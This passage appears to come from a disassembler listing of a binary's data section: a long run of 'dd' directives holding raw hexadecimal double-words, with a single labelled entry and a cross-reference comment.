		dd 7548126Ch, 924B583Dh, 0E8EB9CBBh, 69685D12h,	0FCE98E42h
		dd 8CEB7EEDh, 295581A8h, 3DD8FFC1h, 0C8025C5h, 95B4C6Ch
		dd 75F8BA52h, 0E937F104h, 0CBFEDD95h, 5F820561h, 79A56AC9h
		dd 72E90801h, 52600C7h,	3EC0612Bh, 2D50D001h, 1D7BE907h
		dd 9BED49C0h, 9F46DC37h, 80B75EAh, 9C97EB94h, 0BC1C2F1Eh
		dd 0F69DB634h, 78A50200h, 0C1616819h, 0C1A872CAh, 9148ABC6h
		dd 40EE8542h, 765DCC49h, 81CD029h, 3F141C68h, 0CDEF797h
		dd 0A52404A5h, 548C3705h
		dd 0E8E99AE9h, 0B29A65Fh, 51023868h, 0EEFB9765h, 0E95F9E01h
		dd 0CE3F18DDh, 416817C7h, 0BB4A15A3h, 920D1644h, 95875CC8h
		dd 8C40A68Fh, 3515F849h, 8E2F300Eh, 5604B734h, 0C5AF64A4h
		dd 6600EFEEh, 5680CD81h, 0C5465022h, 2BD61ECBh,	0EE894B4Eh
		dd 215DDA60h, 0E91C5716h, 7D8378D4h, 13C8FD60h,	0DB191286h
		dd 52751F76h, 57578054h, 73ED3C68h, 0FDB56990h,	0E227AB16h
		dd 0C0CFD6DFh, 6C512575h, 82953BB0h, 5B1D68D5h,	41611E3Dh
		dd 62E919A5h, 0AAB23B5Bh, 97AF7450h, 9EFF008Bh,	537A268Eh
		dd 5FD96BBEh, 1027C000h, 4EADE96Fh, 5C712226h, 20B5C47Dh
		dd 7EBDAC34h, 0C7ED0198h, 7DC562ADh, 0A70218C7h, 0B4314469h
		dd 95BA6285h, 4964E009h, 4821F00Eh, 741525Eh, 3203341h
		dd 0A06B3B21h, 8A1C648h, 55D82B5Ah, 57AB5BF3h, 0F7BB80E1h
		dd 0C90F35D8h, 89FE3006h, 77ED007h, 132670Dh, 0F5EAA52Ah
		dd 0C4423CCFh, 4485F989h, 68AE8095h, 0FB0901AEh, 712B55E9h
		dd 4D34032Dh, 5DE16330h, 0EB4197E1h, 0B3676902h, 0B574722Dh
		dd 0F880C3E0h, 5C3A80DCh, 0D240103Dh, 1AC5680Ch, 0CC4017D1h
		dd 525F2654h, 37F00072h, 14BA1091h, 0EF6EC804h,	68AC5CE9h
		dd 497387Fh, 0EA31118Bh, 0B1C11157h, 9E17123Fh,	0B951022Eh
		dd 40AE4A84h, 1D5BE185h, 813CFE1Ah, 0EC0558E9h,	8FEB3036h
		dd 80B76698h, 0C33A233Ch, 0CE8BE84h, 1389E0C2h,	4C982216h
		dd 2484A514h, 420BCFDEh, 811657DAh, 0A87086FAh,	0C9B35EBFh
		dd 5380DD7Eh, 0F780DBB7h, 6B06C2F3h, 2441FA88h,	1BEC3FACh
		dd 5205FED2h, 64F33F08h, 830DCF1Eh, 283EE945h, 88501A0Eh
		dd 6A1357E8h, 5C5132E0h, 0EE0B46B5h, 5B60C1E9h,	0E1EF295Ah
		dd 7126E89h, 2C27E07h, 0EB605E09h, 5693A8F6h, 695BE9D8h
		dd 4ED68B68h, 7FC9A80Bh, 27C2AA93h, 409255Eh, 1AA0D41Bh
		dd 89D5A36Fh, 0AB465FD6h, 0C785EA4Fh, 421C29FAh, 57D303E6h
		dd 30FF5612h, 59D7C527h, 365753Bh, 69F972F5h, 0FC0C0164h
		dd 890CE354h, 0AFF96EEFh, 0A4486813h, 9E4E6051h, 55CA4DCh
		dd 6E23EA81h, 0B74181A8h, 1CFA0590h, 0EBD361h, 9C4F3AEh
		dd 0E935163Ch, 2201BFD0h, 2C1B71B5h, 0E3E9167Ah, 41EC4B5Ch
		dd 0B4C7CE13h, 0DE455A82h, 0B6769A11h, 10FD416Ah, 363C4279h
		dd 16680808h, 0B7478A0Eh, 316DA48Bh, 0ADCA4Eh, 980783BEh
		dd 52BFF4DAh, 50809E6Fh, 0EE160E68h, 0E9584806h, 4BF6EE0h
		dd 0A91261C1h, 0B93DC30Ah, 0F1C58D02h, 8432C94Bh, 5E0AB486h
		dd 608A0192h, 0DB293722h, 2008B441h, 0A94A9192h, 5C8F1688h
		dd 0A111EE47h, 0E1F26A22h, 82C74512h, 570C85E2h, 0E90CD7CDh
		dd 33802B74h, 0F70670EBh, 2EC7C383h, 811FAEB2h,	0BB7DE905h
		dd 680B00A2h, 48E63A1Ah, 0DF0EC60Bh, 95FE0Dh, 0E971414Dh
		dd 5EDBF231h, 0C370B936h, 0EECA0EB1h, 34DD2BBEh, 98B4A228h
		dd 0DB3168A9h, 20AB975h, 22C72180h, 124EA11h, 2042CF58h
		dd 0CA2927ABh, 0E469F52Fh, 569058D0h, 3C16BBEAh, 0F1F95C6Eh
		dd 4F266076h, 0A22C09EAh, 0F9BE6A50h, 91AE5812h, 477472ABh
		dd 6E5E9DE0h, 0DF5BB73Fh, 0EFD236E2h, 2846C018h, 197CFEAAh
		dd 86AD3BE9h, 2776D29h,	0E841C9EEh, 50D76077h, 40AC241Eh
		dd 566B05B4h, 97C0AA65h, 0E596255Ah, 1276E5F0h,	1E416730h
		dd 0D79F8222h, 4461317Ch, 1DF2310h, 22EF0F4Bh, 0D260575Ah
		dd 771D17C2h, 818FF011h, 21ECCF04h, 28EF2FD7h, 0EF00833Dh
		dd 13F78101h, 0EEC008C2h, 68E3C2FDh, 29461E6Dh,	5C4B7EF0h
		dd 23812D24h, 83053091h, 4DC10599h, 0E51E2550h,	0A106A658h
		dd 0E623402h, 92E2D522h, 0BB53A898h, 0A03E3B00h, 0C9FBD5Dh
		dd 5831E46Eh, 20177BDDh, 3A6A2F2h, 41169EEDh, 4D52095Eh
		dd 0C2822374h, 9446F57Ah, 934C37F0h, 4D098026h,	0C5526EE3h
		dd 0E5AA59ACh, 0D48FDC7Fh, 4EDCE9BFh, 945CB7ADh, 0E7CEDD52h
		dd 7CFBA32Fh, 4AD360C0h, 16952875h, 7F7C20EBh, 0F000594Ah
		dd 6AF26CCCh, 3DD40B05h, 0B5160A50h, 0BAF34895h, 92112F0h
		dd 0C12E0571h, 0D4AF04E2h, 0F72909F1h, 0F7F044BBh, 60484E5Dh
		dd 58A3042Eh, 80EC7A9Bh, 693E6C81h, 16503A0Ah, 170C6808h
		dd 2382C720h, 6BD051FFh, 834A827Dh, 0F0D248EEh,	60AC9C11h
		dd 0FDDD0E85h, 0F04118B5h, 0CDD69FBEh, 7EE40CBh, 785B2D35h
		dd 24DC9EEAh, 0DA93E99Fh, 25A089AEh, 18AC863h, 888CC0BDh
		dd 24A9B4Fh, 1EC212E4h,	3FB08043h, 0F7242B57h, 0B201BBDEh
		dd 46499D20h, 26612ACh,	24592685h, 0CCE9AD40h, 47C52D18h
		dd 0ECEF10Eh, 31B6A58Ah, 6969B9B4h, 7EA91701h, 14AA4290h
		dd 0D988A9C8h, 0CC5A18B8h, 590FB2ECh, 0A677D2F6h, 52500F36h
		dd 0A4DD6F51h, 3BEC59EEh, 3BD1E9A1h, 0E4DF4A1Ch, 0A55012BCh
		dd 0B34427D1h, 4811A93Eh, 90497A41h, 165C4C59h,	5B36EE5h
		dd 0AFF43E26h, 688B87E5h, 0E9B62189h, 746A19A0h, 91870C25h
		dd 0A6982C16h, 0C863272Dh, 9CD6CB92h, 3FE3ED75h, 50C3036h
		dd 73BF0E64h, 0EEAEE029h, 3C68D109h, 0A080544Fh, 8E92C08h
		dd 1416BCB1h, 826E3763h, 98571588h, 0C06AAE36h,	6B79BB8Dh
		dd 7E9D5C97h, 57DC8045h, 0ACE9660Dh, 0EF8A724Eh, 588A6F10h
		dd 18E83CDDh, 0BECEB13Ah, 8F7100BBh, 0EEC14666h, 0D6583102h
		dd 0BF086A67h, 0D40DE906h, 1B0123Ch, 1099E828h,	385C97CDh
		dd 5612A314h, 40526E8Bh, 40B4EF27h, 6F6A68A4h, 994A8F02h
		dd 0E55769DAh, 1528805Fh, 0D82934B3h, 40C95B79h, 0E05F4641h
		dd 0E9BAA840h, 0BD424C33h, 0B02DEAD3h, 2C3D843Eh, 0C54BDDF9h
		dd 2F220239h, 7CBDEF00h, 0DF01616Eh, 4E0EB290h,	9F6A4623h
		dd 9A8E6C1h, 0E23B2C52h, 98D4814h, 6240B634h, 207EECFAh
		dd 0BF0620EFh, 0DB76F17h, 0F058EE64h, 0BF429550h, 0F1264BDFh
		dd 0B07E3F37h, 0D4126A5Ch, 5AAD5309h, 295D2F7Fh, 0E9428CDCh
		dd 0FD1BEA05h, 0CB5000E9h, 3ADB22D9h, 0F18BA4F2h, 0AEA8C884h
		dd 9E9720B3h, 0EEAC1C8Bh, 4C365F2Fh, 0E416234Bh, 0A8F235FDh
		dd 0FE25DE54h, 2350086h, 299A7E77h, 1036C348h, 572FA774h
		dd 4A7B145Dh, 850A167Ch, 87880E16h, 5D61AFB2h, 48289FE9h
		dd 4535FF5Ah, 53D585BFh, 553DA00Ah, 39EEA44Eh, 0FE2E205Bh
		dd 0A32A5F81h, 99FDD258h, 7A776882h, 0BD98D566h, 7FC19220h
		dd 39172D66h, 31082DD1h, 2962ADEFh, 0E180485Fh,	43519159h
		dd 0EFB56850h, 25920010h, 0BE0C80F5h, 4FEA7BFBh, 70B3975Bh
		dd 9B78DBAh, 0CE9F30Ah,	0E6A44851h, 0FD2D6E1Ch,	0AEC52616h
		dd 0A6BACAB3h, 7DE98264h, 95E646E0h, 5F43E6DEh,	0EA3103C8h
		dd 7B910A13h, 32B9BDD9h, 359CC450h, 4854510Bh, 0F3E2D1C7h
		dd 2607C487h, 44C93AD9h, 68DD9042h, 0D99F01F9h,	2A29A6C8h
		dd 0D3292DF6h, 3371A9F4h, 65A22B88h, 5296D7A5h,	73C7FC7Dh
		dd 4A82C389h, 25A95DAFh, 0AE09CF89h, 5001AA82h,	7C521142h
		dd 0EC0234BEh, 80065A58h, 4565C008h, 202FB061h,	60FDA17Fh
		dd 0DF3D272Eh, 700EA56Bh, 1736B59Dh, 0D024E91Ah, 3AD14368h
		dd 0E9D05204h, 5285FC5Ah, 4694B176h, 60212317h,	59119358h
		dd 0F9E9070Bh, 55681812h, 1F623168h, 6B8A146Bh,	9EE07E89h
		dd 7F30BDB8h, 3325B92Dh, 512C783Ah, 0E27A0705h,	6DCD15DCh
		dd 0BEE13D5h, 17C0B1A8h, 0F6C3CA80h, 5FADA4Ah, 0FBD8C2DBh
		dd 4C051FD5h, 0FCDD5FB3h, 0C39E9C29h, 3F064D2Bh, 2E8C0C04h
		dd 0D4AF5602h, 0AF08161Ah
		dd 0AF207D00h, 92C1E934h, 0FA211F98h, 47A4BC5Fh, 0B781A704h
		dd 0E4E80D46h, 0AAA0D109h, 0C180D8BEh, 0E7E7A0EFh, 433F1452h
		dd 1F77CC29h, 11A833Dh,	19B96EF7h, 12A03EC1h, 0A3805B54h
		dd 4D644CCEh, 2F220411h, 8CC00FAFh, 5B0972CAh, 0E519003Ch
		dd 2ABE0A9Dh, 7704F095h, 20060411h, 1CFA9E9h, 3A37B52Dh
		dd 524B1820h, 0BB96F757h, 1BF06FCCh, 1B17EEE9h,	9F32F6B1h
		dd 71C04347h, 0D44052Ch, 790F7546h, 0FAD5788Bh,	72B0B8D8h
		dd 36C69DB5h, 9ABFFEF2h, 819700C8h, 98193569h, 3AEC03ECh
		dd 0D50117C5h, 108DC41h, 2EF7F5A3h, 0C46C191h, 0A19BB207h
		dd 92E7977h, 925F183Bh,	27765E96h, 257F9677h, 8FFC797Dh
		dd 52B2DC7Ah, 676AE75Eh, 221CF7AFh, 0AE88AB9Bh,	0D52803BBh
		dd 30895A66h, 0A6063FEEh, 0ED5D2914h, 0F00401FDh, 902E6879h
		dd 0AC2E93Ch, 5616FD51h, 819520h, 0B8505652h, 0F9E5AF6h
		dd 450EBE0Eh, 0C63161B0h, 0FA25C0E9h, 48E3807Eh, 6600E125h
		dd 0D3354201h, 1727F674h, 8D8126E9h, 0F45D346Fh, 0B2A1A2B2h
		dd 76AD2006h, 68AABAB5h, 95A7CA43h, 51975BEEh, 5EF3420Dh
		dd 0AD256775h, 0E91E5F7Bh, 8DF985D6h, 0B2E2387h, 0DDDA3ADDh
		dd 0DE097FDBh, 529E75BEh, 6038AA0Bh, 0C6C18047h, 4C4F02EBh
		dd 5C0D7F1h, 528E362Bh,	68611999h, 0CC2F615Fh, 6A160522h
		dd 0B7B24225h, 3B666510h, 8B323DBDh, 8CFD877Fh,	5CC108CBh
		dd 0D516D2EDh, 0EEAA0945h, 25D2447Dh, 0BF7E56EBh, 50222E7Bh
		dd 0A6E9C213h, 963A8CD6h, 88EFA016h, 3D9232A2h,	27B35EBFh
		dd 2BDC6742h, 0E219D002h, 23F2C07Ch, 310CC2C5h,	0D8755EF0h
		dd 0CD2620AAh, 3B2E68ECh, 696504h, 4342D6F1h, 5C5D5823h
		dd 99E3912Ch, 0A657FE58h, 330F6F93h, 6B0C0F20h,	0F679F03Ch
		dd 0C6539DEEh, 5A8E5649h, 68F0AB5Ch, 0B3724EBCh, 187E7922h
		dd 0E977830Bh, 8873400Bh, 0B0EAE4FDh, 45A62E9Dh, 0FC9F453Fh
		dd 45F8912h, 0EF1603C3h, 0F7582A0Eh, 57557831h,	40F62D20h
		dd 0D1075A94h, 535D05E8h, 1AF81114h, 0C5310978h, 10DE670Fh
		dd 59CD8901h, 5DCC555Eh, 0D9F70449h, 0B8353F68h, 954BC03Ch
		dd 2DE9E30Ah, 73A0DF38h, 51B1AF2h, 5B45515Ch, 82B363B0h
		dd 0B0F28D7Ah, 0DE2DF2BCh, 3E978FBh, 0F5C8D154h, 0A405793Ch
		dd 0B61D024Fh, 0D02D9ACBh, 0B2F89F2Dh, 498A1726h, 4ADE0642h
		dd 4FDC632Dh, 1329AE0Ah, 4128A660h, 0B91460D9h,	0D8796D64h
		dd 0BA5F87ACh, 1E7CE066h, 0AD173E15h, 87F6B409h, 87D2E125h
		dd 6F835FE6h, 4B13568Bh, 0CAEE9EA9h, 6EB44ADAh,	169D2768h
		dd 45F46A99h, 0CCB00BC3h, 7820082Ah, 5DD0C9E9h,	47F512FFh
		dd 7A341692h, 67C5055Fh, 80332D09h, 0FE3C6EAFh,	3576558h
		dd 0E7EED959h, 0F55D9A29h, 0D0955F8h, 0E2B7148Fh, 5B0F7FB8h
		dd 0D2EC12CBh, 0C511FC9Fh, 4778BC33h, 2BFD5FAFh, 2FA521D6h
		dd 0AD309460h, 0FCDF2FB5h, 0E2FD720Bh, 41B472F0h, 0F4B06FE3h
		dd 0EC314A80h, 0ECA1936Bh, 0AA8CCD00h, 0BF646BF2h, 39214D78h
		dd 7F1925F6h, 0AB6800C1h, 60AE9C7Ah, 460B6C6Dh,	680256C1h
		dd 3589396Fh, 2A22B436h, 535D9DBFh, 85D72DA7h, 0F3B00388h
		dd 54EB0B31h, 0D94CEF21h, 0CEB4C700h, 92E9AB5Eh, 3E59B7EAh
		dd 0FFC4BD93h, 0E0D741FFh, 8F0F695Ah, 0E3770A0Ch, 60C8E921h
		dd 12DF2B3h, 0C19F723Ah, 5E28B1B1h, 0D250B803h,	0E8FB0823h
		dd 7EFD59E1h, 0C65882E3h, 60558316h, 0D0239105h, 0E9AF6562h
		dd 19F7EE2h, 0C1B5305h,	6484D41Ch, 0D8BD20F0h, 0AD078394h
		dd 13A21114h, 0F361049h, 28B200A4h, 0E6814D59h,	0F92F7C43h
		dd 83D20040h, 0BF749F6Bh, 0F09E27Ah, 141531Fh, 391DE9ADh
		dd 9950E23Eh, 0AD325807h, 31A8E982h, 65648D76h,	1BFE6D1h
		dd 0EEE5312Bh, 5CBA00B1h, 43971309h, 5514431h, 0E5D10447h
		dd 1E7E9280h, 31D02068h, 0E696C8B5h, 884D0485h,	0BCD2E923h
		dd 96E75E41h, 31400B3Bh, 9C4BF277h, 0E3BF48C5h,	87D1F448h
		dd 0A22E0DC1h, 9D4BDF2Eh, 68C118F8h, 306F5CEBh,	8CC2B0C6h
		dd 575D5140h, 0C248A656h, 3B481610h, 0E3BB104Ah, 0A15EBB4Bh
		dd 33568F96h, 6BC5C7C0h, 0C1363E7Fh, 2E544198h,	438D0F6h
		dd 556E6298h, 87D6EAC4h, 64318186h, 0ED78B17Dh,	808E125Eh
		dd 0E846A857h, 0CFF58A97h, 367C902h, 3546FF75h,	81BB5335h
		dd 0D27B88FBh, 0E19B6B54h, 0BD2FFE3Bh, 0A21A9331h, 9EFB453h
		dd 1F22AA46h, 80A91368h, 3B9F0086h, 4DECE60Bh, 672903D7h
		dd 0F53A5FE2h, 0AB07B5Ah, 1CADD237h, 8E898C6h, 10276897h
		dd 448D980Bh, 75719561h, 3B3302AFh, 29BAA2B8h, 7EF089F7h
		dd 20BAA022h, 5AB6952h,	4CBF2C1h, 0C338A4B0h, 0AECD800Ch
		dd 7A4BC599h, 0D8CC44E1h, 0E6782AE9h, 85C34C87h, 0A214957Ah
		dd 46421A2Fh, 3A10B47h,	0E03195Bh, 7D02E51Fh, 0D43B9BBFh
		dd 56C0F53Fh, 0BD80B5E6h, 634A1E6Ch, 0FCDB8947h, 0B0D11CD7h
		dd 0C9532547h, 810C1446h, 0E42E6318h, 6DBC2Dh, 411F84BEh
		dd 0F35C215Ah, 0FCC32F0Dh, 0F0A0287Ah, 0C2B5C244h, 0E9614D69h
		dd 99CCC6FAh, 25677CB7h, 1D581F33h, 90A820D9h, 5FE72A3Eh
		dd 55CEFD7Ch, 4756BE8Bh, 888C0278h, 0DC1686EBh,	0BBC105D4h
		dd 0FE7D3088h, 2FF7E10h, 77118968h, 0F3B8C006h,	0CA5984B0h
		dd 0D9011608h, 81F41CE9h, 70D389BFh, 24D34D4Ch,	6A1C40EBh
		dd 5789C1Eh, 564CEA00h,	0DA3F2D74h, 5487EF86h, 0B9B95F0Bh
		dd 8A02EFEh, 0C801D4B0h, 4ABC0D59h, 93701AA0h, 3C239249h
		dd 0C71672EEh, 2F618A87h, 0FFED091Fh, 0D1DFA760h, 125FBD80h
		dd 40172166h, 7ADE5FBh,	0E39862B1h, 0B7AEC500h,	56E96B87h
		dd 926D99B9h, 5171A42Dh, 0FA0A32B0h, 8A3B6434h,	0AC61F30Eh
		dd 0BC758E96h, 0DD19BBE9h, 6B590C5Dh, 0CC946CD1h, 682F203Fh
		dd 9ABE2986h, 5743BF62h, 622D6BA3h, 91C039FAh, 2A274641h
		dd 0DE5DA2C1h, 0EBF00B3h, 3700A54Ah, 67F6F781h,	2D290A6Eh
		dd 4C685FFBh, 51E9E168h, 3B03C88Bh, 0BA9708E2h,	90B63849h
		dd 184FEE3Fh, 0C28A736h, 27336ABAh, 0A9AC9654h,	9200619Ch
		dd 7C766449h, 9E2CF204h, 16AAB37Ah, 0A5BCA8F4h,	528130FCh
		dd 2C12D468h, 4325C1FDh, 0B66F28EBh, 87F50165h,	320DE9EEh
		dd 42C79981h, 6A5D8D3Fh, 805AFB5h, 9D214598h, 8132400Fh
		dd 0DD90B73Fh, 0E872822h, 126E3468h, 1A5CA7AEh,	7718DD61h
		dd 13C2C8A9h, 0C6137956h, 37A92B01h, 0F42A724Bh, 220DC7FAh
		dd 12052676h, 2794BC41h, 56506D51h, 0FE6ED742h,	0D2577AEAh
		dd 261A97F0h, 2878D957h, 5A79034Bh, 0D3E97B8Ch,	2C0E92BEh
		dd 0EB4047Eh, 0A73EDDD8h, 0BE36433h, 690C5D1Dh,	0F100257Ch
		dd 6EA36BC7h, 6FB83A50h, 9856651Fh, 29E904D0h, 310681BCh
		dd 52458C7h, 51897A3Ch,	64C90340h, 322F595Dh, 0E918E0D5h
		dd 1202B574h, 6A553558h, 8B76542Ah, 21F61180h, 0F924D62h
		dd 8585F587h, 0BEE59046h, 14276879h, 0B7005D2Bh, 8343EE7h
		dd 54F58F6h, 570401B6h,	0AAC7BEE9h, 4B7E988Eh, 0FE0D12D5h
		dd 0BA2C0300h, 1721B753h, 0AEA4EF80h, 0F6BBCCC0h, 4914DEDFh
		dd 8884F828h, 0CE2121C3h, 0CF5EFA23h, 65FE4A64h, 0C2F7F8F1h
		dd 1CCB4E9h, 0C157C0BFh, 0AC14207Eh, 69085D1Dh,	2E1BCF81h
		dd 188275DDh, 4C876529h, 0CC979A76h, 0AC27E7B1h, 0F084FB48h
		dd 2FB4FB97h, 552939EFh, 0AF592016h, 0ECAAFE74h, 589AA281h
		dd 0EB505018h, 0DD3F0060h
		dd 1C6CB833h, 0A994CDCEh, 0A7DB5E27h, 0A45BD140h, 0FDDA45B6h
		dd 0E952FC80h, 7392C00Ch, 2DC348DCh, 205D5693h,	693FD810h
		dd 0AE058146h, 1376E93Ch, 7F883087h, 40118228h,	5E51AC8h
		dd 0C9F5810Bh, 872C803Ah, 0D6D3F7DDh, 1D64109h,	2B823848h
		dd 2F537D04h, 0A032178Dh, 442CEA12h, 0C2F388A2h, 387C439Ch
		dd 61A095BFh, 0E9D0966Dh, 172A7EB6h, 0A374011Bh, 0C412Dh
		dd 0D5100808h, 0F55E6727h, 754F5991h, 65386A64h, 0C1404EE9h
		dd 60C8FEF2h, 0ABBCC76h, 89A5AF3Ch, 8732F574h, 835D34A9h
		dd 4BB0CE3Eh, 30B6E2DBh, 0CDEB75B1h, 3E5259Bh, 0CB292B76h
		dd 7E6F6E0Ah, 0DAF86A13h, 433DFE4Ah, 5655953Eh,	45169D72h
		dd 0A335AB13h, 0D9900901h, 0A87BE79Ah, 0FAD69C06h, 25BA1501h
		dd 0C47F1023h, 0ECC2257Bh, 987DE3h, 2D00EB73h, 0D0D1979Eh
		dd 9758C631h, 81032F44h, 1C66BFCEh, 60D6D223h, 0F8961052h
		dd 0D685B757h, 8B26FC89h, 5520424Ah, 834E4156h,	0F93F2C68h
		dd 492902F9h, 0FBCABF38h, 0AFF91164h, 9770757Fh, 8EB62066h
		dd 9AD0F64Eh, 900A31FAh, 83A9272Eh, 0C0981594h,	0E8169105h
		dd 0B2FE592Ch, 7515503Ch, 0FCAD344Fh, 7B4A22A6h, 0BC293B4h
dword_4F0044	dd 613114B8h, 1676D04h,	4E0868ADh, 0A10BA666h, 1C804215h
					; DATA XREF: ___:00437DCCo
		dd 9A0B92C6h, 0E6070376h, 0DA83622h, 59C3F6C5h,	6196CA7Fh
		dd 2E3857C7h, 8DD018CBh, 66204D7Eh, 6FB3F642h, 0BD38895h
		dd 5BB365CEh, 16B07469h, 975C5098h, 8A5D3962h, 0B72BE98Ch
		dd 0FABD4346h, 0DA51C3Bh, 0E4B18D8h, 8D2513B8h,	1211D674h
		dd 40ECB35Dh, 3E7028D8h, 4EFC2AE1h, 0C95C52A2h,	794087C2h
		dd 5088E7Fh, 0DE0B6089h, 882DBE6h, 0DCBDEBFAh, 0C04FBD60h
		dd 80B1B600h, 0FEB3E60Eh, 48F6A7C6h, 6601A08Eh,	7BB25253h
		dd 0BBEA09BAh, 81D9D788h, 66FE054Eh, 0CA27B1C1h, 7601703Dh
		dd 4613AB2Ah, 8692604Eh, 39830082h, 0C1018306h,	276F030Ch
		dd 0C7CC000Dh, 31ED1319h, 0A33544DEh, 8B25EA7Dh, 0A9D46364h
		dd 2FF312C0h, 0AD3B5A96h, 0E90840B9h, 0E0ABB834h, 46A6E6AFh
		dd 486371A3h, 794B20Bh,	232DB82Ch, 18930B88h, 0DED81BF2h
		dd 0D75ACA9Dh, 0AB6F6AD1h, 5EEA3A1Ah, 83E961B3h, 11417FD0h
		dd 259B7435h, 1349B92Eh, 28E24758h, 0A5205F78h,	270F3B66h
		dd 0C2074908h, 293F4895h, 2C6F80CAh, 0E91CA309h, 4CE5719h
		dd 0C6053CCCh, 0A8E3D3A4h, 2F6839ABh, 47F69853h, 0AABCE54h
		dd 0C04A5732h, 595AFA47h, 70D00E73h, 34E91607h,	850F6880h
		dd 91874A89h, 6BD830D7h, 0C2A4E667h, 0D0202BE1h, 162F5063h
		dd 0F6A24DB3h, 52E82800h, 0D7B55153h, 92BBB73Fh, 8E90D6C9h
		dd 4B34F00Eh, 0E5001C46h, 18037D7Eh, 4A781B1Dh,	0D206E80Ch
		dd 2F125ABAh, 70371364h, 0DB9C86AAh, 3D0C1FA4h,	0E45A5212h
		dd 460CC241h, 0C678354h, 0CA4F254Bh, 936A5ED8h,	0D61B8E3Ch
		dd 0F60C0B06h, 0C10E537Dh, 0BC5BD845h, 0E4991BD8h, 1C86AB2Ch
		dd 1231B737h, 809501F9h, 2F283CEBh, 71D64DB1h, 9CE70CCCh
		dd 7BB05E2Eh, 95C14EE0h, 0FB2019C3h, 2A20FFCAh,	11424E0h
		dd 355CE92Eh, 0DD39D5A5h, 0B7D67427h, 3381977h,	0D2F85A62h
		dd 0BD24AFB5h, 0E978D1EFh, 50DC64ECh, 4605E790h, 897D204Ah
		dd 0F0AE7F95h, 439A813Dh, 24D1882Ch, 0F12785E8h, 0C55DA5BDh
		dd 0BA576977h, 7E717DE2h, 6127226h, 0D8F27409h,	0EA5E4E1Ah
		dd 0FEF2A977h, 55185F39h, 0DFF33729h, 4CDC0C02h, 415F1B3Ah
		dd 0C2905634h, 3B954CACh, 28644C52h, 5D95A901h,	0EF50D49Eh
		dd 9E5A71CFh, 0E4E74AE8h, 873DD261h, 29F614CCh,	7CAE2A5Fh
		dd 52FE9BAh, 4072C491h,	0D9B521DEh, 6AF56B15h, 0A7ADC139h
		dd 49D84065h, 0E8CDA988h, 4EAF2D20h, 0D9EDB420h, 0E4D660E7h
		dd 29257B78h, 0C7C65DCBh, 1532BAFEh, 1D22C1Ah, 1680CC2h
		dd 8825AD3h, 34CDE9DAh,	99818E76h, 574C0506h, 0FFA056F1h
		dd 482D6BD9h, 0B8C36B43h, 0F829851Fh, 64EC97D3h, 56BF573Eh
		dd 5E855FBEh, 0B2BAE5E9h, 65F5025Dh, 55EF2E05h,	0C47D2C8Bh
		dd 0F0E9277Eh, 0D4BDDED8h, 0C487E4B2h, 784BABC0h, 597C2531h
		dd 557428EBh, 0A9AC545Ah, 6CB6BAE5h, 18E04D84h,	9DBBF7F2h
		dd 7B135298h, 0DD64B691h, 0D636D8EAh, 0B55FCE40h, 4BDC3880h
		dd 31141316h, 0C4165818h, 0BB13235Dh, 802CFE44h, 5AEDCFEEh
		dd 0EEBB8600h, 0F306596Ah, 0C3DDA23Bh, 0B68EEBFh, 0E40FE920h
		dd 0FD189AF7h, 5000B2F0h, 610D93B8h, 1891254Eh,	5C52EF2Bh
		dd 69316F4Bh, 9F558F68h, 2AD7D02Ah, 172DEF20h, 2520754Bh
		dd 970A048h, 9A4D49Dh, 0FBF1375Ah, 520E24h, 0A75771DCh
		dd 66639F0Ch, 0D2E90D09h, 0C0487FE5h, 8BF22Ah, 7847BAF2h
		dd 0D6317628h, 5E2D4799h, 16202DE2h, 2A076797h,	14A1015Bh
		dd 0FC5D0802h, 88A8CEE1h, 0AB0B5C12h, 2F9E7D90h, 50071C2Dh
		dd 0E07D4F93h, 25A65B66h, 858AD34Fh, 92F3A95Bh,	4AF798EEh
		dd 4F7B1810h, 801AD51h,	0E13C9AE9h, 4BD3F70Ch, 0C00444D0h
		dd 0DE092ABEh, 6C8F8C7h, 812B2868h, 9D3F7320h, 213F7F9h
		dd 0B7C914F2h, 622A7759h, 98094720h, 913D5C57h,	0F8FE124Eh
		dd 0FCC3F422h, 0ED331E47h, 4EFA087Ah, 6804B916h, 3EC44493h
		dd 0DDA9B5AEh, 4A0493DAh, 0F2233101h, 0A02BFD9Fh, 0D95A661Ah
		dd 0FBCA31AFh, 0CD9250A3h, 41320BF3h, 8305D07Dh, 0AA37259Bh
		dd 3126AFCh, 936026C2h,	66E6F86Dh, 11A42C5Ah, 48B4100Fh
		dd 1E7448CAh, 0F6D36191h, 0A516E6F9h, 120CB363h, 0DF4B2580h
		dd 0C9EDD6C7h, 8351D2F6h, 6B94F806h, 5259D724h,	2DE6A93Eh
		dd 919CF75Ch, 4589664Eh, 5985D26Ah, 0C17645DDh,	80BEDFE9h
		dd 61CA8133h, 0B81AC70Ah, 36618DDh, 14EB446Eh, 0C0D75025h
		dd 790ECBCAh, 0F301204Ch, 0BD008B5h, 17829428h,	291FFFE5h
		dd 0F135E9C4h, 680935E2h, 14F776D9h, 0FD672E59h, 8EFB888Bh
		dd 72C45E1Ah, 78FEF9F4h, 0C271A2E2h, 29C5075h, 8DA7E171h
		dd 6465D829h, 0B7AA68A5h, 833F9667h, 50832272h,	0C371C6D9h
		dd 7539EB85h, 1F8A03Fh,	7BE9F516h, 9BFDBE0h, 6DE723AEh
		dd 7C28550h, 7DCE58E9h,	8D9038D2h, 2F054600h, 0A02D405Dh
		dd 154C2D54h, 0CA89C4FEh, 8135F659h, 5D0F41EDh,	8B469271h
		dd 0A25867FAh, 0ABDF1AD8h, 0E72CF5EDh, 7812CE36h, 3507771Eh
		dd 0D324CFAh, 75E90209h, 29ECEE70h, 25F0EF58h, 7E952047h
		dd 0B463DA67h, 0D708A0A4h, 0DD49AB1Ch, 425E5959h, 977053E9h
		dd 0D0327C9Dh, 1AB5D9FDh, 4C84B95Dh, 81CAF27Ch,	0AABE80F9h
		dd 4645282Ah, 0FA1612B0h, 350ED302h, 0F6F9D28Eh, 9175DF04h
		dd 0CCC5BE28h, 9D582BE8h, 0B1305301h, 40D50113h, 454E5A8h
		dd 1704A148h, 8E1050EDh, 1D9413A4h, 0BBE451B9h,	20C4CBF3h
		dd 84D5F9ABh, 2DFB2B7Bh, 35AC2FE5h, 0D2F3AF92h,	0B1B0A84Fh
		dd 138EB54Bh, 39125AF3h, 2CE8C061h, 95EC4750h, 23FBD64Bh
		dd 64D1305Ch, 85292F8Dh, 0BA79D43Ah, 95074166h,	68C124D4h
		dd 6C330B09h, 0C56BF4Ah, 0C6B08B3h, 8E506CDFh, 0B3BB046Ah
		dd 806A967Eh, 7C45AECEh, 74C5055Ch, 0C6885782h,	7AF702D3h
